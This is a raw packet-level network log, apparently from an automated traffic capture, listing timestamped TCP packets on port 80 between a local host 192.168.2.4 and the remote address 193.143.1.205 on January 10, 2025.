Jan 10, 2025 21:17:35.731827974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731837988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.731842041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731856108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731878042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.731904030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.732461929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.732482910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.732495070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.732511997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.732513905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.732518911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.732561111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.732562065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.732575893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.732589960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.732599974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.732604027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.732619047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.732633114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.732639074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.732654095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.732660055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.732685089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.733556986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.733570099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.733582020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.733594894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.733607054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.733618975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.733624935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.733630896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.733637094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.733645916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.733656883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.733659983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.733674049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.733684063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.733686924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.733702898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.733710051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.733736992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.734395027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.734410048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.734422922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.734435081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.734447956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.734448910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.734462976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.734477997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.734477997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.734493017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.734497070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.734508991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.734529018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.741322994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.746475935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.757653952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.757679939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.757693052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.757704973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.757704020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.757720947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.757735014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.757742882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.757755995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.757759094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.757772923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.757791996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.781603098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.788475990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.788491964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.788511992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.788522005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.788523912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.788562059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.819870949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.819885969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.819900036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.819911957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.819921970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.819925070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.819951057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.819951057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.819981098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.819988966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.819993019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.820004940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.820014954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.820019007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.820044041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.820182085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.820194006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.820214987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.820218086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.820236921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.820247889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.820249081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.820262909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.820277929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.820282936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.820322990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.851078987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851094007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851106882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851119995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851131916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851142883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.851146936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851165056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851175070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.851190090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851202965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851211071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.851216078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851241112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.851268053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.851269960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851334095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851346970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851360083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851372957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.851394892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.851535082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851573944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851594925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851607084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851608992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.851623058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851646900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.851922989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851937056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851950884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851963997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.851980925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.851994991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.852139950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.852180004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.852221966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.852232933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.852246046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.852267981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.852272034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.852283955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.852296114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.852304935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.852309942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.852323055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.852329969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.852338076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.852353096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.852361917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.852394104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.853116035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.853128910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.853141069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.853163004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.853173018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.853177071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.853189945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.853202105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.853204966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.853218079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.853231907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.853233099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.853246927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.853250027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.853262901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.853276968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.853276968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.853321075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.854104042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854116917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854130030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854150057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854151964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.854170084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854182959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854195118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854195118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.854207039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854214907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854218006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.854228020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854239941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854248047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.854257107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854262114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.854300022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.854839087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854852915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854866982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854890108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.854923010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854937077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854948997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.854962111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.854991913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.855017900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.855030060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.855042934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.855056047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.855067968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.855067968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.855082989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.855087042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.855124950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.855986118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.855998993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856013060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856024981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856035948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.856040955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856054068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856059074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.856067896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856080055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856086969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.856098890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856111050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856128931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856137037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.856147051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856153011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.856180906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.856690884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856762886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856775045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856791019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856800079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.856808901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856823921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.856843948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856857061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856870890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856877089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.856884003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856898069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.856904984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.856929064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.889724016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.914047956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914092064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914108038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914122105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914133072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914139986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914143085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.914153099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914170980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.914184093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914205074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914216995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914222956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.914252996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914263964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.914266109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914278984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914290905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914304972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914307117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.914324999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.914452076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914484024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914490938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.914499044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914518118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914530039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914535046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.914541960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.914570093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.941958904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.941973925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.941992998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.941999912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942012072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942023993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942039013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942050934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942095995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942115068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942128897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942142010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942153931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942154884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942178965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942195892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942231894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942260027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942272902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942275047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942303896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942317009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942317009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942356110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942389965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942419052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942430973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942457914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942481041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942493916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942506075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942538023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942616940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942648888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942723989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942735910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942749023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942769051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942771912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942785978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942787886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942801952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942814112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942833900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942832947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942848921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942854881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942862034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942874908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942888021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942902088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942902088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942917109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.942929983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.942943096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.943464994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.943480015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.943491936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.943505049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.943514109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.943519115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.943530083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.943531990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.943547010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.943559885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.943561077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.943573952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.943587065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.943598986 CET	49730	80	192.168.2.4	193.143.1.205
